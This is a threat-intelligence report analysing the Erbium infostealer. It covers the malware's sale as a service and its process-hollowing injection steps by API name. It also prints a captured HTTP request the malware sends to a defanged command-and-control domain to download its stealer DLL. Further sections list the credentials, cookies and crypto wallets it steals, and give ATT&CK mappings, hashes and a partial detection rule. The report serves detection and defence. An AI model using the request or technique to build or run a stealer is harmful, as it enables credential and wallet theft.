Erbium InfoStealer Enters the Scene: Characteristics and Origins

By Cluster25 Threat Intel Team

September 15, 2022

On the 21st of July 2022 on a DWW (Deep/Dark Web) forum, a Russian speaking threat actor created an announcement about the sale of a new infostealer named Erbium. The author stated that its malware is the best on the market, giving to the user unique features and that its development took several months of work.

Erbium InfoStealer Logo

Erbium InfoStealer Logo

In the beginning the malware was sold at a price ranging between 9 to 150 dollars depending on the user plan, going from one week to one year of license. The prices from July to August were significantly increased, going for a minimum of 100 dollars for one month of usage to a thousand of dollars for a year of the service, including the access to a control panel Cluster25 had the opportunity to observe and analyze. Interesting to note that after having a site, now the service is all administered through a Telegram bot, that works as a marketplace and also as a control for the data stolen, that can be redirected to a Telegram account other than the personal control panel. The bot was set up on early September 2022.


Erbium Telegram Bot


Cluster25 managed to obtain a variant of this threat and analyzed its characteristics and operational logic as well as carrying out an initial telemetry assessment of the current spreading degree of this malware family. In the analyzed sample, the first stage of the infection consists in a 32-bit PE executable with a highly obfuscated code. Moreover, the sample use polymorphic techniques to change its identifiable features in order to evade detection. During this phase, the malware reconstructs the string C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe which is the path of the legit Microsoft Application Microsoft .NET ClickOnce Launch Utility.


The string is used to create a new process dynamically calling the API CreateProcessW and passing the path of the AppLaunch.exe executable as one of its arguments. The code invoked during this and the following operations resides in the .data section and it is not present on the original binary, signs that the executable is able to modify its sections during the execution, as evidence reported below.


Then, the malware allocates memory in the new process calling the API VirtualAllocEx and passes the handle of the process as first argument. The argument lpaddress, which defines the desired starting address for the region of pages to allocate, is set to the value 0x400000, the image base address. After this point, the API WriteProcessMemory is used to write the memory in the allocated region of the new process, while the VirtualProtectEx is used to change the permissions to the memory in order to let it executable. Finally, the malware calls the APIs SetThreadContext and ResumeThread to start the execution on the injected process. The second stage tries to perform an HTTP connection to the Command-and-Control (C&C) domain. For the specific sample, the domain used is www[.]f0679086[.]xsph[.]ru, however, the analysis of different samples allowed to detect also the domains mamamiya137[.]ru. The following is the HTTP request used by the malware to communicate with the C&C server:


GET /ErbiumDed/api.php?method=getstub&bid=1525449043%20%20%20%20%20%20&tag=malik_here%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Host: www[.]f0679086[.]xsph[.]ru

The connection is used to download a DLL from the C&C, that is later loaded and executed in the memory of the same process (AppLaunch.exe). The 32-bit PE DLL is the last stage of the infection, which acts as the stealer itself. The stealer can grab the following information on the victim systems:

  • Desktop screenshot from all monitors.
  • PC information (CPU, GPU, DISK, RAM, number of monitors, monitor resolutions, monitor resolutions, MAC, Windows version, Windows owner, PC name, PC architecture, Windows license key)
  • Passwords, cookies, history, maps, autofill from most popular browsers based on Gecko and Chromium
  • Cold wallets from browsers (MetaMask, TronLink, Binance Chain Wallet, Yoroi, Nifty Wallet, Math Wallet, Coinbase Wallet, Guarda, EQUAL Wallet, Jaxx Liberty, BitApp Wallet, iWallet, Wombat, MEW CX, GuildWallet, Saturn Wallet, Ronin Wallet, NeoLine, Clover Wallet, Liquality Wallet, Terra Station, Keplr, Sollet, Auro Wallet, Polymesh Wallet, ICONex, Nabox Wallet, KHC, Temple, TezBox, Cyano Wallet, Byone, OneKey, LeafWallet, DAppPlay, BitClip, Steem Keychain, Nash Extension , Hycon Lite Client, ZilPay, Coin98 Wallet, Harmony, KardiaChain, Rabby, Phantom, TON Crystal Wallet)
  • Other browser plugins (Authenticator, Authy, Trezor Password Manager, GAuth Authenticator, EOS Authenticator)
  • Steam (list of accounts and authorization files)
  • Discord (tokens)
  • FTP clients (FileZilla, Total Commander)
  • Telegram (authorization files)
  • Cold desktop wallets (Exodus, Atomic, Armory, Bitecoin-Core, Bytecoin, Dash-Core, Electrum, Electron, Coinomi, Ethereum, Litecoin-Core, Monero-Core, Zcash, Jaxx)

Also, the stealer can obtain the geolocalization of the victim system.


Cluster25 was able to acquired a very good amount of information about this threat including details about the control panel available on the attacker’s side.


Erbium Attacker’s Control Panel

The panel includes different tabs that groups the stolen information together according to their category.


Also, the panel contains a feature to send the stolen information directly to a Telegram Account.



Erbium is enjoying success and within a month it has been possible to observe an increasing level of spread of this threat around the world. According to Cluster25 visibility, the following countries presented potential active infections to be linked to variants of this malware family: mappa


Cyber-crime is constantly evolving within an underground market where it is not uncommon to come across new proposals for the purchase of MaaS solutions. In Cluster25’s opinion Erbium could become one of the most used infostealers by cyber criminals due to its wide range of capabilities and due to the growing demand for MaaS.


Initial Access T1566.001 Phishing: Spearphishing Attachment
Execution T1204.001 User Execution: Malicious Link
Execution T1204.002 User Execution: Malicious File
Execution T1106 Native API
Privilege Escalation


Process Injection: Process Hollowing

  Privilege Escalation   T1055.001   Process Injection: Dynamic-link Library Injection
Defense Evasion T1140 Deobfuscate/Decode Files or Information
Defense Evasion T1027 Obfuscated Files or Information
Defense Evasion T1055.003 Process Injection: Thread Execution Hijacking
Defense Evasion T1553.002 Subvert Trust Controls: Code Signing
Defense Evasion T1562.001 Impair Defenses: Disable or Modify Tools
Defense Evasion T1112 Modify Registry
Defense Evasion T1202 Indirect Command Execution
Defense Evasion T1497 Virtualization/Sandbox Evasion
Defense Evasion T1620 Reflective Code Loading
  Credential Access   T1555   Credentials from Password Stores
  Credential Access   T1003   OS Credential Dumping
  Credential Access   T1539   Steal Web Session Cookie
  Discovery   T1087   Account Discovery
  Discovery   T1622   Debugger Evasion
  Discovery   T1083   File and Directory Discovery
  Discovery   T1046   Network Service Discovery
  Discovery   T1057   Process Discovery
  Discovery   T1518   Software Discovery
  Discovery   T1033   System Owner/User Discovery
  Discovery   T1124   System Time Discovery
  Collection   T1005   Data from Local System
  Collection   T1113   Screen Capture
  Command and  Control T1071.001 Application Layer Protocol: Web Protocols
  Exfiltration T1041 Exfiltration Over C2 Channel


PAYLOAD MD5 e1826f107e517c0cb9a9b02f74cb94f2
  PAYLOAD   SHA1   c994bc4ed56145b8ff80fb0c0fa47a39e19e0ca3
PAYLAOD   SHA256 164f6090aeabe48d2f9a2de12b8da6e8de24735a39371fe922e51689e969ad37
PAYLOAD MD5 510a37df4f363a938e32cae45d661c9d
PAYLOAD SHA1 0976c8d6bd898c06faf90a6b99097ca6f66cca0c
PAYLOAD SHA256 cd83d5f6eec9731fbc6c1ce5eee962f82bcf881a63af1f478e6a097760f758df
NETWORK CNC mamamiya137[.]ru
NETWORK CNC www[.]f0679086[.]xsph[.]ru


alert tcp any any ->  any $HTTP_PORTS (
msg: "Cluster25 - Trojan/Erbium CnC Communication"; 
nocase; http_method; content:"/api.php"; 

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